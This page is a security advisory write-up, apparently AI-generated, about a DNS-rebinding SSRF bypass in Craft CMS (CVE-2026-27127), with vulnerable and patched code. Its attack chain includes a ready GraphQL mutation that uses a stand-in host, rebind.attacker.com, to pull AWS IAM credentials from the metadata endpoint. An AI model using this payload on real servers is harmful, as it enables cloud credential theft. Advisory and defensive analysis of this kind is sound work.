CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27127
7.00.04%

Ghost in the Machine: Weaponizing DNS Rebinding to Bypass SSRF Filters in Craft CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 24, 2026·6 min read·13 visits

PoC Available

Executive Summary (TL;DR)

A high-severity SSRF bypass in Craft CMS allows authenticated users to steal cloud metadata credentials. By using DNS rebinding, attackers evade the IP blocklist implemented in a previous patch. The fix involves moving validation to the HTTP client's connection phase.

Craft CMS, a popular choice for developers who like their content managed and their code explicitly typed, recently patched a Server-Side Request Forgery (SSRF) vulnerability. Or so they thought. CVE-2026-27127 describes a classic Time-of-Check-Time-of-Use (TOCTOU) race condition that renders the previous fix useless. By exploiting the tiny temporal gap between validating a hostname and actually fetching it, attackers can utilize DNS Rebinding to trick the server into pouring its internal cloud secrets—like AWS IAM credentials—directly into the attacker's hands. This is a story of why blacklisting IP addresses in application code is a game of whack-a-mole you will eventually lose.

The Setup: GraphQL & The Lust for Assets

Craft CMS is generally robust, but like any modern platform, it exposes a lot of power through GraphQL. The vulnerability resides specifically within the Asset mutation logic. The idea is simple and user-friendly: you want to upload a file, but the file is currently hosted on another server. So, you provide a URL, and Craft CMS fetches it for you. It's the classic "fetch-from-url" feature that keeps security researchers employed.

The feature allows a user (with appropriate permissions) to send a GraphQL mutation containing a url parameter. The server accepts this URL, downloads the content, and saves it as an asset in a defined volume. Under normal circumstances, you'd use this to import an image from a CDN or a partner site. But hackers aren't interested in your stock photos. They are interested in what else the server can see that the outside world cannot—specifically, the internal network and the magical cloud metadata IP addresses.

Previously, Craft CMS attempted to patch this by implementing a blacklist. They effectively said, "If the user asks for 169.254.169.254 (the AWS metadata endpoint), say no." This sounds logical, but it assumes that the name you check is the same as the address you visit. In the volatile world of DNS, that is a dangerous assumption.

The Flaw: Time-of-Check vs. Time-of-Use

The root cause of CVE-2026-27127 is a textbook Time-of-Check Time-of-Use (TOCTOU) race condition. The developers implemented a check (T1) where they resolved the hostname provided by the user and verified that the resulting IP address was not on a naughty list. If the IP was clean (e.g., 1.2.3.4), the code proceeded to the use phase (T2), where it handed the original hostname to the Guzzle HTTP client to perform the download.

Here is where the logic falls apart: Guzzle (wrapping libcurl) does not know or care about the IP address resolved in T1. It performs its own DNS resolution to establish the connection. This creates a temporal gap—milliseconds of opportunity—where the DNS record can change. If an attacker controls the authoritative nameserver for the domain, they can serve a harmless IP at T1 and a malicious IP at T2.

This is akin to a bouncer checking your ID at the club entrance, verifying you are 21, and then letting you walk in. But in the three seconds it took you to walk from the door to the bar, you magically transformed into a toddler. The bartender (Guzzle) doesn't check your ID again; they just serve you the drink because the bouncer let you in. In this case, the "drink" is the AWS Instance Metadata Service, and the "toddler" is a malicious script.

The Smoking Gun: Code Analysis

Let's look at the logic flow that enabled this. The vulnerable code in src/gql/resolvers/mutations/Asset.php looked something like this (simplified for clarity):

// THE CHECK (T1)
// Resolve the hostname to an IP manually
$ip = gethostbyname($urlHostname);
 
// Check if this IP is in the forbidden list (e.g., 169.254.169.254)
if ($this->isIpBlocked($ip)) {
    throw new UserError("Restricted IP address.");
}
 
// THE USE (T2)
// If we pass the check, use the original URL to fetch the file
$client = new \GuzzleHttp\Client();
$client->request('GET', $url, ['sink' => $tempPath]);

See the disconnect? gethostbyname handles the validation, but $client->request handles the execution. An attacker sets up a DNS server with a very short Time-To-Live (TTL) of 0 seconds. When the application runs gethostbyname, the attacker returns 8.8.8.8 (Google DNS, perfectly safe). The check passes.

Immediately after, gethostbyname returns, and Guzzle starts its work. Guzzle asks for the IP of the same hostname. Since the TTL was 0, the cache is invalid, and a new query goes to the attacker's nameserver. This time, the attacker returns 169.254.169.254. Guzzle happily connects to the internal metadata service, unaware that the "Check" phase saw a completely different reality.

The Exploit: Weaponizing DNS Rebinding

To exploit this, we don't need complex buffer overflows; we just need a custom domain and a small script. Tools like singularity or rbndr.us make this trivial. We configure a domain, say rebind.attacker.com, to alternate its A records between a safe public IP and the target internal IP.

The Attack Chain:

  1. Recon: Identify that the target is running a vulnerable version of Craft CMS (e.g., < 4.16.19) and that the GraphQL API is exposed with Asset creation permissions.
  2. Infrastructure: Set up a DNS rebinding service. Configure rebind.attacker.com to resolve to 1.2.3.4 (Safe) on the first query, and 169.254.169.254 (Target) on the second query.
  3. The Trigger: Send the following GraphQL mutation:
mutation {
  save_Images_Asset(_file: {
    url: "http://rebind.attacker.com/latest/meta-data/iam/security-credentials/admin-role"
    filename: "pwned.json"
  }) {
    id
    url
  }
}
  1. The Extraction: If the timing works (and with modern networks, it often does), Craft CMS will fetch the AWS credentials thinking it's downloading an image. It saves the file as pwned.json in the public assets volume. The attacker then simply browses to the asset URL provided in the response and downloads the keys. Game over.

The Patch: Guzzle's ON_STATS Callback

The fix, applied in commit a4cf3fb63bba3249cf1e2882b18a2d29e77a8575, changes the paradigm entirely. Instead of checking the IP before the request, the developers moved the validation inside the request lifecycle using Guzzle's ON_STATS option. This callback allows the code to inspect the transfer statistics, specifically the primary_ip, which represents the actual IP address used for the connection.

Here is the patched approach:

$client->request('GET', $url, [
    RequestOptions::ON_STATS => function(TransferStats $stats) use ($url) {
        // Now we validate the ACTUAL IP used by Guzzle
        $actualIp = $stats->getHandlerStat('primary_ip');
        if (!$this->validateIp($actualIp)) {
            throw new UserError("Blocked: " . $actualIp);
        }
    }
]);

By validating primary_ip, the check occurs post-resolution but pre-completion. If the resolution points to 169.254.169.254, the validateIp function catches it, and the request is aborted (mostly).

Researcher Note: There is a subtle imperfection here. Because the request uses RequestOptions::SINK to stream the file to disk, it is possible that some data is written to the temporary file before the ON_STATS callback fires and throws the exception. While the request is marked as failed, if the application doesn't aggressively cleanup the temporary file, a partial artifact might remain on disk. However, for a high-level retrieval of credentials, this patch effectively kills the straightforward rebinding vector.

Official Patches

Craft CMSCommit fixing the TOCTOU vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
7.0/ 10
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Probability
0.04%

Affected Systems

Craft CMS 4.5.0-RC1 through 4.16.18Craft CMS 5.0.0-RC1 through 5.8.22

Affected Versions Detail

Product
Affected Versions
Fixed Version
Craft CMS
Pixel & Tonic
>= 4.5.0-RC1, <= 4.16.184.16.19
Craft CMS
Pixel & Tonic
>= 5.0.0-RC1, <= 5.8.225.8.23
AttributeDetail
CWE IDCWE-367 (TOCTOU)
Attack VectorNetwork (DNS Rebinding)
CVSS Score7.0 (High)
Privileges RequiredLow (Authenticated User)
ImpactConfidentiality Loss (Cloud Metadata)
Exploit StatusPOC Available

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access
T1190Exploit Public-Facing Application
Initial Access
CWE-367
Time-of-check Time-of-use (TOCTOU) Race Condition

Known Exploits & Detection

GHSAOfficial advisory containing POC steps for DNS rebinding.

Vulnerability Timeline

Original insufficient fix (CVE-2025-68437) released
2025-12-04
Researchers identify DNS rebinding bypass
2026-01-09
Patch commit pushed to GitHub
2026-01-14
Public disclosure of CVE-2026-27127
2026-02-24

References & Sources

  • [1]GHSA-gp2f-7wcm-5fhx Advisory
  • [2]CWE-367: TOCTOU Race Condition
Related Vulnerabilities
CVE-2025-68437

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.